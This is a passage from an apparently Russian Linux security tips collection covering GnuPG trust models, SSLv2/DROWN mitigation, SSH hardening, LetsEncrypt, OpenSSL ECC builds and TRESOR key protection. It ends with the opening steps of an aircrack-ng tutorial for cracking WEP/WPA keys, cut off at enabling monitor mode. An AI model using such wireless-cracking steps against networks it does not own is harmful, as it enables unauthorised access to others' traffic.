    с прописанным в нём именем, смогли отправить/получить электронную почту по
    указанным в ключе адресам, итд). WoT представляет собой граф таких связей, основанных на
    подписях людей.
    
    В теории, если у вас есть доверенные публичные ключи ваших знакомых, а у
    недоверенного ключа есть их подписи, то скорее всего, ему можно доверять в
    большей степени.
    
    Чем больше подписей он имеет, тем выше вероятность, что среди них есть подписи
    удостоверяемых вами ключей. Для расширения WoT многие часто проводят, так называемые,
    Key Signing Party.
    
    Это не даёт полной гарантии доверия: например, у вас есть известный и доверяемый
    ключ системного администратора вашей компании, и он захочет устроить MitM атаку
    -- если у полученного ранее неизвестного вам ключа будет стоять только его
    подпись, то он успешно её проведёт. GnuPG в WoT находит кратчайший путь доверия
    -- это даёт потенциально множество точек отказа (MitM). Но в теории, ничто не
    мешает аутентифицировать WoT полностью.
    
    Кроме того, через WoT утекает информация о ваших связях, с кем вы так или иначе
    контактировали, виделись, вообще имели хоть какое-то дело. Это приватная
    информация, но из-за WoT она публично доступна. Ценность подобной
    метаинформации может быть огромна.
    
    Модель Trust On First Use (TOFU)
    
    В этой модели все факты успешного использования ключей сохраняются в локальной
    базе данных. При первом использовании ключа он просто запоминается. Далее,
    каждый факт успешной проверки новой подписи с заданного email адреса
    сохраняется в БД. Если для известного email адреса будет замечено использование
    другого ключа, то это повод для предупреждения о возможной MitM атаке.
    
    Чем больше будет успехов использования ключа на заданных адресах, тем выше к
    нему доверие. Если мы регулярно и долго общаемся с человеком и продолжаем
    использовать один и тот же ключ, то выше вероятность доверия к нему.
    
    TOFU предоставляет меньшие гарантий доверия, чем WoT, но его гораздо проще
    использовать, он требует меньше действий от пользователя, так как
    фактически просто собирает статистику. WoT требует аккуратного управления доверием к
    каждому UID-у ключей, созданием подписей и их обменом.
    
    Но TOFU можно использовать и совместно c WoT, как минимум, для обнаружения
    неконсистентной связи используемых ключей и соответствующих email адресов.
    
    Включить режим WoT и TOFU можно опцией: trust-model tofu+pgp.
    
    Полностью ручное управление доверием
    
    В этом случае, вы не полагаетесь ни на статистику (TOFU), ни на WoT, и подписи
    других людей (их можно вообще вырезать из импортируемых ключей для экономии
    места на жёстком диске), а просто самостоятельно в вашей локальной ключнице
    проставляете степень доверия UID-ам ключей. Для большей безопасности вы можете
    подписывать доверяемые UID-ы чужих ключей, но делая локальную подпись, которая
    не попадаёт в экспорт.
    
    Рекомендовать что-то одно конкретное вряд ли можно: везде свои плюсы и минусы,
    где-то удобнее одно, где-то другое, в зависимости от потребностей и возможностей.
    
     
    ----* Отключение SSLv2 для защиты сервера от атаки DROWN (доп. ссылка 1)   [комментарии]
     
    Отключаем SSLv2 для защиты от атаки DROWN, позволяющей с MITM-хоста получить
    доступ к защищённому каналу связи между клиентом и уязвимым сервером.
    Уязвимость проявляется если сервер поддерживает SSLv2 (не важно какой протокол
    используется в текущем сеансе, какая реализация библиотеки шифрования
    используется и какие протоколы поддерживает клиент).
    
    
    Отключение SSLv2 в nginx (в версиях 0.7.64, 0.8.18 и младше SSLv2 включен по умолчанию):
    
       ssl_protocols TLSv1 TLSv1.1 TLSv1.2
    
    
    Отключение SSLv2 в Apache httpd (в httpd 2.2.x и младше SSLv2 включен по умолчанию ):
    
       SSLProtocol All -SSLv2 -SSLv3
    
    Отключение SSLv2 в Postfix (в версиях  2.9.13, 2.10.7, 2.11.5, 3.0.1 и младше
    SSLv2 включен по умолчанию)):
    
        smtpd_tls_protocols = !SSLv2, !SSLv3
        smtp_tls_protocols = !SSLv2, !SSLv3
        lmtp_tls_protocols = !SSLv2, !SSLv3
        tlsproxy_tls_protocols = $smtpd_tls_protocols
    
        smtpd_tls_mandatory_protocols = !SSLv2, !SSLv3
        smtp_tls_mandatory_protocols = !SSLv2, !SSLv3
        lmtp_tls_mandatory_protocols = !SSLv2, !SSLv3
        tlsproxy_tls_mandatory_protocols = $smtpd_tls_mandatory_protocols
    
    
        smtpd_tls_ciphers = medium
        smtp_tls_ciphers = medium
    
    
        smtpd_tls_dh1024_param_file=${config_directory}/dh2048.pem
        smtpd_tls_eecdh_grade = strong
    
    
        smtp_tls_exclude_ciphers =
            EXPORT, LOW, MD5,
            aDSS, kECDHe, kECDHr, kDHd, kDHr,
            SEED, IDEA, RC2
        smtpd_tls_exclude_ciphers =
            EXPORT, LOW, MD5, SEED, IDEA, RC2
    
     
    ----* Обфускация структуры полей в базе данных   Автор: 赤熊  [комментарии]
     
    Хорошим примером защиты данных в разных базах является их шифрование. Для
    хранения паролей используют лишь хеш. А хеш, как известно, необратим.
    Нижепредложенный perl-скрипт хорош для огораживания структуры полей таблиц баз
    данных под управлением MySQL 5.x.  Обфускация полей базы вкупе с шифрованием
    данных может минимизировать потери в случае эксплуатации sql-injection
    уязвимостей и утечки данных.
    В качестве аргументов передаётся файл с SQL-дампом структуры БД и "соль" к
    хэшу. На выходе формируется файл с полями, заменёнными на нечитаемые наборы
    символов, что затрудняет определение суть хранимых в полях данных (если данные
    в БД хранятся в зашифрованном виде).
    
    Код ниже:
    
       use Digest::SHA qw(sha256_hex);
       print "-------------------------------------\n";
       print "db_obfuscator started\n";
       if (($#ARGV + 1)<2)
       {
            print "run $0 db_name.sql pass\n";
            print "-------------------------------------\n";
            die;
       }
       my $db_filename = $ARGV[0];
       my $db_filename_out =  $ARGV[0];
       $db_filename_out =~ /(\w+)\.(\w+)/;
       $db_filename_out = $1 . "_out." . $2;
       my $base_hash = sha256_hex($ARGV[1]);
       my $hash_str = $base_hash . "test_str";
       my $text;
       $q = sha256_hex($hash_str);
       #print "$hash_str = $q\n";
    
       $filesize  = -s $db_filename;
       open DB,"<", $db_filename or die "could not open $db_filename\n";
       my $filesize_test = read (DB, $text, $filesize);
       print "read $filesize_test bytes from $db_filename\n";
       close DB;
       my @matches  = ($text =~ /\`[a-z,_,0-9]+\`/g);
       #print "found @matches.lenght() \n";
       foreach $abc(@matches)
       {
            $q = sha256_hex($base_hash.$abc);
            $text =~s/$abc/\`$q\`/g;
       #       print "$abc = $q\n";
       }
       open (outfile, ">", $db_filename_out);
       printf outfile $text or die "could not write $db_filename_out\n";
       close(outfile);
       my $filesize_out = -s $db_filename_out;
       print "wrote $filesize_out bytes into $db_filename_out\n"
    
     
    ----* Получение сертификата через общедоступный удостоверяющий центр LetsEncrypt (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Удостоверяющий центр LetsEncrypt контролируется сообществом и позволяет
    любому желающему бесплатно получить TLS-сертификат для организации доступа
    через защищённое соединение к своему сайту. Для прохождения верификации перед
    получением сертификата достаточно продемонстрировать контроль над доменом через
    размещения файла с ключом на web-сервере или запуска специального
    автоматизированного крипта.
    
    Инструментарий для верификации домена и управления сертификатами можно загрузить с сайта проекта:
    
       git clone https://github.com/letsencrypt/letsencrypt
       cd letsencrypt
       ./letsencrypt-auto --help
    
    или установить готовые пакеты для Fedora 23:
    
       dnf install letsencrypt
    
    
    Основные методы верификации:
    
    1. Ручной метод: генерация кода подтверждения и его копирование на  web-сервер. 
    Генерируем проверочный код:
    
        letsencrypt --text --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --renew-by-default --manual certonly
    
    Записываем полученный код на web-сервер в файл
    .well-known/acme-challenge/anotherrandomthinghere, относительно корня сайта:
    
       cd /var/www/html
       mkdir -p .well-known/acme-challenge
       echo "224234fSDFSF23SFADASD" > .well-known/acme-challenge/anotherrandomthinghere
    
    
    
    2. Самодостаточная проверка: на время проверки letsencrypt берёт на себя
    функции  http-сервера, связанного с верифицируемым доменом (хост, на который
    указывает "A" запись в DNS), и напрямую отвечает на запросы сервиса. На
    сервере, где будет обслуживаться домен запускаем (http-сервер сайта должен быть
    отключен, метод подходит для начальной конфигурации ещё не введённых в строй сайтов):
    
       letsencrypt --text --renew-by-default --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --standalone --standalone-supported-challenges http-01 certonly
    
    
    3. Проверка через автоматизированное создание файлов к корне web-сервера. На
    сервере, где работает сайт проверяемого домена, запускаем (/var/www/html - путь
    к корню сайта, относительно которого будут временно размещены коды для верификации):
    
      letsencrypt --text --renew-by-default --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --webroot --webroot-path /var/www/html certonly
    
    При выполнении автоматизированной проверки от пользователя root готовые
    сертификаты будут скопированы в директорию /etc/letsencrypt. Для их подключения
    к mod_ssl можно выполнить:
    
    
       ln -s /etc/letsencrypt/live/www.example.com/cert.pem /etc/pki/tls/certs/www.example.com.crt
       ln -s /etc/letsencrypt/live/www.example.com/chain.pem /etc/pki/tls/certs/www.example.com.chain.crt
       ln -s /etc/letsencrypt/live/www.example.com/privkey.pem /etc/pki/tls/private/www.example.com.key
       cp /etc/httpd/conf.d/ssl.conf{,.backup}
       sed -i 's@\(SSLCertificateFile\) .*@\1 /etc/pki/tls/certs/www.example.com.crt@' /etc/httpd/conf.d/ssl.conf
       sed -i 's@\(SSLCertificateKeyFile\) .*@\1 /etc/pki/tls/private/www.example.com.key@' /etc/httpd/conf.d/ssl.conf
       sed -i 's@#\(SSLCertificateChainFile\) .*@\1 /etc/pki/tls/certs/www.example.com.chain.crt@' /etc/httpd/conf.d/ssl.conf
    
    
    После чего нужно сделать директории с сертификатами доступными в SELinux-контексте cert_t:
    
       semanage fcontext -a -t cert_t '/etc/letsencrypt/(archive|live)(/.*)?'
       restorecon -Rv /etc/letsencrypt
    
    По умолчанию время жизни сертификата LetsEncrypt составляет 90 дней, что
    требует настройки автоматизации обновления сертификата. Например, раз в 60 дней
    через cron можно вызывать скрипт, который будет продлевать сертификат на
    очередные 90 дней:
    
       /usr/bin/letsencrypt -d www.example.com --renew-by-default -m recovery@example.com --agree-tos -t --webroot -w /var/www/html certonly
    
    Пример unit-файла /etc/systemd/system/www-example-com-renewal.service для обновления сертификатов:
    
    
       [Unit]
       Description=Automatically renew the www.example.com certificate
    
       [Service]
       Type=oneshot
       ExecStart=/usr/bin/letsencrypt -d www.example.com --renew-by-default -m recovery@example.com --agree-tos -t --webroot -w /var/www/html certonly
       ExecStart=/usr/sbin/systemctl reload httpd
    
    
    Файл автозапуска /etc/systemd/system/www-example-com-renewal.timer:
    
       [Unit]
       Description=Trigger an automatic renewal every month
    
       [Timer] 
       OnCalendar=monthly
       Persistent=true
    
       [Install]
       WantedBy=multi-user.target
    
    В случае необходимости отзыва сертификата, например, после утечки закрытых
    ключей, можно выполнить команду:
    
       letsencrypt revoke --cert-path /etc/letsencrypt/archive/www.example.com/cert1.pem
    
    
    Для упрощения работы с сервисом можно использовать скрипт-обвязку https://github.com/lukas2511/letsencrypt.sh
    
     
    ----* Настройка SSH для использования наиболее защищённых алгоритмов шифрования (доп. ссылка 1)   [комментарии]
     
    В свете появления сведений об организации АНБ атак, направленных на
    получение контроля над SSH-соединениями, подготовлено руководство с
    рекомендациями по усилению защищённости SSH. АНБ может получить контроль за
    SSH-соединением  в случае использования уязвимых методов шифрования или в
    результате захвата приватных ключей. Ниже представлены советы по отключению
    потенциально проблемных алгоритмов и усилению защиты.
    
    
    Обмен ключами.
    
    Применяемые в SSH методы обмена ключей  DH (Diffie-Hellman) и ECDH (Elliptic
    Curve Diffie-Hellman) можно считать безопасными. Из 8 поддерживаемых в SSH
    протоколов обмена ключами вызывают подозрения три,  основанные на рекомендациях
    NIST: ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521. Не
    заслуживающими полного доверия также можно считать протоколы, использующие
    потенциально проблемный SHA1. Протоколы curve25519-sha256 и diffie-hellman-group-exchange-sha256
     пока не вызывают сомнений в безопасности.
    
    Для использования только заслуживающих доверия протоколов обмена ключами в
    /etc/ssh/sshd_config  для сервера следует указать:
    
        KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
    
    Аналогичные настройки для клиента, в /etc/ssh/ssh_config:
    
       Host *
          KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
    
    В /etc/ssh/moduli можно указать (или удалить строки с размером ключа, менее 2048):
    
       ssh-keygen -G /tmp/moduli -b 4096
       ssh-keygen -T /etc/ssh/moduli -f /tmp/moduli
    
    
    Аутентификация.
    
    В SSH поддерживается четыре алгоритма аутентификации по открытым ключам: DSA,
    ECDSA,  Ed25519 и RSA. ECDSA завязан на технологиях NIST и должен быть
    отключен. К сожалению, если просто удалить ключ ECDSA, он будет повторно
    сгенерирован, поэтому можно воспользоваться обходным путём с создать заведомо
    нерабочую символическую ссылку, которая помешает сгенерировать и использовать ключ:
    
       cd /etc/ssh
       rm ssh_host_ecdsa_key*
       rm ssh_host_key*
       ln -s ssh_host_ecdsa_key ssh_host_ecdsa_key
       ln -s ssh_host_key ssh_host_key
    
    Так как размер ключей DSA  не может превышать 1024, его тоже следует отключить тем же способом:
    
       cd /etc/ssh
       rm ssh_host_dsa_key*
       ln -s ssh_host_dsa_key ssh_host_dsa_key
    
    Далее, следует позаботиться о RSA, сгенерировав ключ большего размера:
    
       cd /etc/ssh
       rm ssh_host_rsa_key*
       ssh-keygen -t rsa -b 4096 -f ssh_host_rsa_key < /dev/null
    
    Для создания клиентских ключей лучше использовать команды:
    
       ssh-keygen -t ed25519
       ssh-keygen -t rsa -b 4096
    
    
    Симметричные шифры.
    
    Из 15 поддерживаемых в SSH алгоритмов симметричного шифрования, используемых
    для организации защиты установленного канала связи, безопасными можно считать
    chacha20-poly1305, aes*-ctr и aes*-gcm. Шифры 3des-cbc и arcfour потенциально
    уязвимы в силу использования DES и RC4, cast128-cbc применяет слишком короткий
    размер блока (64 бит).
    
    В итоге, в /etc/ssh/sshd_config рекомендуется добавить:
    
       Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
    
    В /etc/ssh/ssh_config:
    
       Host *
          Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
    
    Код аутентичности сообщения (MAC).
    
    Для шифров в режиме  CTR для гарантирования  целостности передаваемых блоков
    доверия заслуживает только метод Encrypt-then-MAC ("*-etm", MAC добавляется  к
    уже зашифрованному блоку). Методы MAC-then-encrypt и Encrypt-and-MAC
    потенциально подвержены атакам. Из 18 доступных в SSH алгоритмов MAC  сразу
    следует отбросить основанные на хэшах  MD5 и SHA1, не стойких к выявлению
    коллизий, а также алгоритмы использующие размеры ключей менее 128 бит и размеры
    тегов менее 256 бит. В итоге, наиболее безопасными MAC  можно считать
    hmac-sha2-512-etm и hmac-sha2-256-etm.
    
    В /etc/ssh/sshd_config:
    
       MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
    
    В /etc/ssh/ssh_config:
    
       # Для GitHub в качестве исключения добавляем mac-sha2-512, так как он не поддерживает Encrypt-then-MAC.
       Host github.com
           MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512
    
       Host *
          MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
    
    
    Защита от утечки ключей.
    
    Наиболее простым способом получения контроля за SSH-соединением является захват
    ключей на стороне клиента или сервера. Рекомендации сводятся к соблюдению
    типовых правил поддержания безопасности системы: оперативная установка
    обновлений, установка программ только из надёжных источников, установка только
    действительно необходимых программ и сервисов, использование программ для
    которых доступны исходные тексты, включение дополнительных механизмов защиты
    (Grsecurity, сборка с флагом -fstack-protector).
    
    Для защиты ключей следует выбрать надёжный пароль доступа к клиентским файлам
    ключей. При формировании ключа для увеличения числа итераций хэширования можно
    использовать опцию "ssh-keygen -o -a число", что  усложнит подбор пароля. Также
    можно сохранить ключи только на внешнем носителе, подключая его только во время
    соединения по SSH.
    
    Защита от анализа транзитного трафика.
    
    SSH-сервер можно настроить в виде скрытого сервиса Tor, что скроет IP, а также
    добавит дополнительный слой шифрования и аутентификации.
    
    Для приема соединений только через скрытый сервис Tor можно использовать следующие настройки:
    
    В /etc/ssh/sshd_config (для приема соединений из LAN следует вместо привязки к
    127.0.0.1 использовать для ограничения доступа межетевой экран):
    
       ListenAddress 127.0.0.1:22
    
    В /etc/tor/torrc добавим:
    
       HiddenServiceDir /var/lib/tor/hidden_service/ssh
       HiddenServicePort 22 127.0.0.1:22
    
    Имя скрытого хоста для подключения можно найти в файле /var/lib/tor/hidden_service/ssh/hostname. 
    
    Для настройки подключения клиента к скрытому сервису Tor в  /etc/ssh/ssh_config можно добавить:
    
       Host *.onion
           ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050
    
     
    ----* Добавление поддержки SSL в pgbouncer при помощи stunnel   Автор: umask  [комментарии]
     
    Для быстрого старта pgbouncer c поддержкой SSL можно использовать вот такой
    конфигурационный файл stunnel:
    
       ### stunnel config for ssl-before-pgbouncer
       
       ### Quick way to create stunnel.pem:
       ### cd /etc/stunnel
       ### openssl req -new -x509 -days 77777 -nodes -out stunnel.pem -keyout stunnel.pem
       ### openssl gendh 2048 >> stunnel.pem
       ### openssl x509 -subject -dates -fingerprint -in stunnel.pem
    
       cert = /etc/stunnel/stunnel.pem
       foreground = yes
       setgid = nobody
       setuid = nobody
       pid = /tmp/stunnel.pid
       compression = zlib
       ### use this level to prevent trashing logs
       #debug = 4
       
       [psqlssl]
       ### stunnel will listen here
       accept = 127.0.0.1:9933
       ### pgbouncer listen here
       connect = 127.0.0.1:5433
       protocol = pgsql
    
    Версия stunnel должна быть не ниже 4.27, так как только начиная с данной версии
    есть поддержка protocol = pgsql.
    
    Основная необходимость в SSL в моём случае - сжатие, а не шифрование. 
    
     
    ----* Включение в Fedora и CentOS поддержки шифрования по эллиптическим кривым (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    По умолчанию в Fedora и CentOS пакет OpenSSL собран без поддержки криптографии
    по эллиптическим кривым (ECC,  Elliptic Curve Crytography), так как реализация
    потенциально нарушает ряд патентов. В Debian и Ubuntu пакет openssl
    собран с поддержкой ECC.
    
    На конференции Black Hat USA 2013 группа экспертов по криптографии представила
    результаты исследования, в результате которого был сделан вывод, что время
    алгоритма RSA сочтено и пока не поздно вендорам следует перейти на
    использовании криптографии по эллиптическим кривым. С учётом развития методов
    ускорения векторных вычислений, уже через пять лет RSA нельзя будет считать безопасным.
    
    
    Пересборка OpenSSL и strongSwan (IPSec) в Fedora.
    
    
    Удаляем пакет openssl-devel и устанавливаем пакеты, необходимые для сборки:
    
       rpm -e openssl-devel
       yum install rpm-build krb5-devel zlib-devel gcc \\
          gmp-devel libcurl-devel openldap-devel \\
          NetworkManager-devel NetworkManager-glib-devel sqlite-devel
    
    Подготавливаем сборочное окружение rpmbuild:
    
       [ ! -e ~/.rpmmacros ] && \\
           echo '%_topdir      %(echo $HOME)/rpmbuild' > ~/.rpmmacros
       [ ! -d rpmbuild ] && mkdir rpmbuild
       cd ~/rpmbuild
       mkdir -p BUILD BUILDROOT RPMS/i386 RPMS/x86_64 SOURCES SPECS SRPMS
    
    
    Загружаем src-пакет, заменяем изменённые исходные тексты на оригинальный
    openssl и применяем патч для включения сборки с ECC:
    
    
       cd ~/rpmbuild/SRPMS
       wget http://dl.fedoraproject.org/pub/fedora/linux/releases/19/Everything/source/SRPMS/o/openssl-1.0.1e-4.fc19.src.rpm
       rpm -i openssl-1.0.1e-4.fc19.src.rpm
       cd ../SOURCES
       wget http://www.openssl.org/source/openssl-1.0.1e.tar.gz
       cd ../SPECS
       wget http://zxvdr.fedorapeople.org/openssl.spec.ec_patch
       patch -p0 < openssl.spec.ec_patch
       sed -i -e 's/-usa.tar.xz/.tar.gz/' openssl.spec
       rpmbuild -bb openssl.spec
    
    Устанавливаем собранный  OpenSSL:
    
       cd ~/rpmbuild/RPMS/$(uname -i)
       rpm -Uvh --force \\
           openssl-1.0.1e*rpm \\
           openssl-devel-1.0.1e*rpm \\
           openssl-libs-1.0.1e*rpm
    
    Проверяем поддержку ECC:
    
       openssl ec -help
    
    Пересобираем strongSwan, при наличии поддержки ECC в OpenSSL при пересборке
    strongSwan автоматически определит наличие ECC:
    
       wget http://dl.fedoraproject.org/pub/fedora/linux/releases/19/Everything/source/SRPMS/s/strongswan-5.0.2-2.fc19.src.rpm
       rpm -i strongswan-5.0.2-2.fc19.src.rpm
       cd ~/rpmbuild/SPECS
       rpmbuild -bb strongswan.spec
    
    Устанавливаем strongSwan:
    
       cd ~/rpmbuild/RPMS/$(uname -i)
       rpm -Uvh --force \\
          strongswan-5*rpm \\
          strongswan-tnc-imcvs*rpm
    
    Проверяем strongSwan, пытаясь создать ECDSA-ключ:
    
       cd /tmp
       strongswan pki -g --type ecdsa --size 384 > myKey.der
       strongswan pki -a --type ecdsa-priv --in myKey.der
    
       private key with:
       pubkey:    ECDSA 384 bits
     
    
    Инструкция для CentOS 6.4
    
    Формируем сборочное окружение
    
       yum -y update
       yum -y groupinstall 'Development tools'
    
    Подключаем репозиторий EPEL 
       yum -y localinstall --nogpgcheck http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm 
    
    Устанавливаем и настраиваем сборочный инструментарий mock из EPEL:
    
       yum -y install fedora-packager
       userdel -rf abcd
       useradd -G mock abcd
       su abcd
    
    Загружаем src-пакет и оригинал openssl 
    
       cd ~
       curl -O http://vault.centos.org/6.4/os/Source/SPackages/openssl-1.0.0-27.el6.src.rpm
       /usr/bin/mock ~/openssl-1.0.0-27.el6.src.rpm
       rm -rf /home/abcd/build
       mv /var/lib/mock/epel-6-x86_64/root/builddir/build/ /home/abcd 
       cd /home/abcd/build/SOURCES
       curl -O http://www.openssl.org/source/openssl-1.0.0.tar.gz 
    
    Загружаем патч, устраняющий вывод ошибки при выполнении тестов
    
       curl -o patch300.patch http://cvs.openssl.org/patchset?cn=19998 
    
    Правим spec-файл, включаем режим enable-ec, отключаем скрипт hobble и добавляем патч:
    
       cd ../SPECS
       sed -i -e "s/no-ec/enable-ec/; s/no-ecdh/enable-ecdh/; s/no-ecdsa/enable-ecdsa/" openssl.spec
       sed -i -e "s/^Source1: hobble-openssl/#&/; s/^%.SOURCE1. /#&/" openssl.spec
       sed -i -e "s/^Release.*dist\\}/&.EC.1/" openssl.spec 
       sed -i -e "s/-usa.tar.bz2/.tar.gz/" openssl.spec 
       sed -i -e "s/^Patch78.*/&\\nPatch300: patch300.patch\\n/" openssl.spec
       sed -i -e "s/^%patch78.*/&\\n%patch300 -p1 \\n/" openssl.spec 
    
    Пересобираем пакет:
    
       /usr/bin/mock --buildsrpm --spec  ~/build/SPECS/openssl.spec --sources  ~/build/SOURCES 
       cp /var/lib/mock/epel-6-x86_64/root/builddir/build/SRPMS/openssl-1.0.0-27.el6.EC.1.src.rpm /home/abcd
       cd ~
       /usr/bin/mock --rebuild openssl-1.0.0-27.el6.EC.1.src.rpm
     
    
     
    ----* Создание канала связи с использованием TLS-SRP из состава OpenSSL 1.0.1 (доп. ссылка 1)   [комментарии]
     
    Для создания шифрованного канала связи с использованием вместо ключей
    шифрования обычных паролей, которые может запомнить человек, можно использовать
    протокол SRP (Secure Remote Password), поддержка которого появилась в OpenSSL 1.0.1.
    
    Создаём файл с SRP паролем для пользователя jsmith:
    
       touch passwd.srpv
       openssl srp -srpvfile passwd.srpv -gn 1536 -add jsmith
     
       вводим дважды пароль
    
    Для изменения пароля можно использовать команду:
    
       openssl srp -srpvfile passwd.srpv -modify jsmith
    
    Запускаем простой SRP-сервер:
    
       openssl s_server -srpvfile passwd.srpv -tls1 -cipher SRP -cert server.crt -key server.key -www
    
    Соединяемся к нему по сетевому порту 4433:
    
       gnutls-cli --srpusername user --srppasswd secret 127.0.0.1 -p 4433
    
       вводим "GET /"
    
    Для соединения также можно использовать openssl_helper из состава Chromium:
    
       out/Debug/openssl_helper open-socket tls-srp --srpv-file net/data/ssl/certificates/ok.srpv --port 4443
    
    логин/пароль задаётся в файле ok.srpv
    
     
    ----* Использование TRESOR для хранения ключей шифрования AES не в ОЗУ, а в регистрах CPU (доп. ссылка 1)   [комментарии]
     
    При использовании зашифрованного раздела с конфиденциальной информацией,
    злоумышленник, имеющий физический доступ к компьютеру, может воспользоваться
    методом холодной перезагрузки
    (http://www.opennet.ru/opennews/art.shtml?num=17035) для получения ключей
    шифрования. Метод основан на способности оперативной памяти (DRAM) какое-то
    время сохранять информацию после отключения питания и отсутствия импульсов
    регенерации ее содержимого (при температуре -50 градусов данные сохраняются
    более 10 минут). После холодной перезагрузки или переключении чипа памяти на
    другое устройство память не обнуляется и данные старой рабочей сессии можно
    проанализировать. Особенно актуальная проблема для ноутбуков, которые часто не
    выключаются и лишь переводятся в ждущий режим, при котором ОЗУ не
    обесточивается. В простейшем случае, восстановить ключ из памяти можно
    используя утилиту msramdmp (http://www.mcgrewsecurity.com/tools/msramdmp/),
    перезагрузившись в LiveCD (например, можно использовать msramdmp_cd.iso).
    
    В рамках проекта TRESOR (http://www1.informatik.uni-erlangen.de/tresor)
    подготовлены патчи для ядра Linux с реализацией модуля шифрования AES, который
    сохраняет ключи в отладочных регистрах процессора и обрабатывает все операции
    шифрования непосредственно в CPU, без копирования ключей в ОЗУ. TRESOR  может
    использоваться на любых процессорах с поддержкой SSE2. При использовании
    64-разрядных CPU с поддержкой набора инструкций AES-NI,  например, Intel Core
    i5 или Core-i7, поддерживается работа с ключами AES 128, 192 и 256 без потери
    производительности. При запуске на 32-разрядных CPU с поддержкой инструкций
    SSE2, скорость выполнения шифрования примерно в 6 раз ниже, чем базовая
    реализация AES для ядра Linux. При этом можно использовать только ключи длиной
    128 бит.
    
    Собираем ядро с патчем TRESOR.
    
    Загружаем ядро 2.6.36 с http://kernel.org и распаковываем его в директорию /usr/src/linux-2.6.36.
    
    Применяем патч (http://www1.informatik.uni-erlangen.de/tresor):
    
       cd /usr/src/
       patch --directory /usr/src/linux-2.6.36 -p1 < tresor-patch-2.6.36
    
    Запускаем menuconfig и настраиваем параметры ядра, не забыв включить TRESOR
    (Cryptographic API -> AES cipher algorithms (TRESOR)).
    
    Собираем ядро. Ниже пример сборки и установки пакета для Debian GNU/Linux:
    
       cd /usr/src/linux-2.6.36
       make-kpkg kernel_image --initrd --revision tresor1
       cd /usr/src
       dpkg -i linux-image-2.6.36-tresor1.deb
       update-initramfs -c -k 2.6.36
    
    
    Запускаем систему
    
    Перезагружаемся, выбрав ядро с патчами TRESOR.
    
    В ответ на приглашение TRESOR "Enter password" вводим пароль и подтверждаем валидность хэша:
    
       Enter password > ******** 
       Confirm key hash > 51 b7 fd ... 58 ac Correct (yes/no) > yes
    
    Пароль может содержать от 8 до 53 символов. Возможности поменять пароль после
    загрузки нет, поэтому к вводу пароля нужно отнестись внимательно иначе
    потребуется лишний раз перезагружать систему. Выводимый хэш не является ключом
    шифрования, а просто выводится для того чтобы можно было дополнительно
    проверить правильность задания пароля.
    
    После того как система загрузится можно попытаться перевести её в ждущий режим
    и проверить работу TRESOR:
    
       echo mem > /sys/power/state
    
    После возвращения из спящего режима должно быть выведено приглашение для ввода
    пароля, такое же как после загрузки системы. Для проверки, что повторно
    введенный пароль верен в памяти сохраняется необратимый проверочный хэш,
    который позволяет удостовериться в правильности ввода, но не дает возможности
    восстановить содержимое пароля и ключа шифрования. Проверка пароля необходима,
    так как неправильно введенный пароль может привести к повреждению данных в уже
    примонтированном зашифрованном разделе. Так как пароль вводится в консоли при
    активном графическом режиме возможно потребуется ввести пароль вслепую.
    
    
    Настройка шифрования
    
    Устанавливаем утилиты для работы с dm-crypt:
    
       apt-get install cryptsetup
    
    Если ядро собрано с поддержкой LKM, убедимся, что загружен модуль ядра dm_mod:
    
       modprobe dm_mod
    
    В качестве демонстрации настроим два варианта шифрования: отдельного раздела на
    USB-накопителе и виртуального шифрованного раздела внутри файла.
    
    
    Настройка зашифрованного дискового раздела
    
    Зашифруем раздел /dev/sdb1: 
    
       cryptsetup create tresor /dev/sdb1 --cipher tresor --key-size 128
    
       > Enter passphrase: указываем произвольный пароль
    
    Размер ключа для 64-разрядных процессоров с поддержкой AES-NI может быть 128,
    192 и 256. Для остальных CPU - только 128.
    
    Форматируем созданный шифрованный раздел:
    
       mkfs.ext2 /dev/mapper/tresor
    
    Монтируем раздел:
    
       mount /dev/mapper/tresor /media/tresor
    
    все операции записи и чтения в /media/tresor производятся с использованием шифрования.
    
    Отмонтируем раздел и выгружаем шифрованное устройство:
    
       umount /media/tresor
       cryptsetup remove tresor
    
    Настройка зашифрованного контейнера (шифрованный раздел внутри файла)
    
    Создаем пустой файл-контейнер container.img, размером 1 Гб:
    
       dd if=/dev/zero bs=1M count=1024 of=container.img
    
    Прикрепляем контейнер к псевдоустройству через loop-интерфейс:
    
       losetup /dev/loop0 container.img
    
    Повторяем действия, описанные выше для шифрованных дисковых разделов, но
    используя в качестве имени устройства /dev/loop0
    
    При отмонтировании, для отсоединения контейнера от loop-устройства дополнительно выполняем:
    
       losetup -d /dev/loop0 
    
     
    ----* Перехват WEP и WPA ключей в беспроводной сети при помощи AIR Crack  (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по подбору ключей шифрования в беспроводных сетях, базирующихся на
    механизме WEP, являющемся устаревшим, но продолжающем широко использоваться.
    Данная информация предназначена только для ознакомления и может быть
    использована исключительно в целях проверки надежности собственной сетевой инфраструктуры.
    
    Устанавливаем пакет AIR Crack.
    В Debian/Ubuntu:
    
       $ sudo apt-get install aircrack-ng
    
    В Fedora/CentOS/RHEL:
    
       $ sudo yum -y install aircrack-ng
    
    Определяем сетевой интерфейс, привязанный к беспроводной карте:
    2. Identify wireless network interface
    
       $ /sbin/iwconfig
    
       wlan0     IEEE 802.11  Mode:Monitor  Frequency:2.437 GHz  Tx-Power=20 dBm
    
    Активируем режим мониторинга:
    
       $ sudo airmon-ng start wlan0
    
       Interface       Chipset         Driver
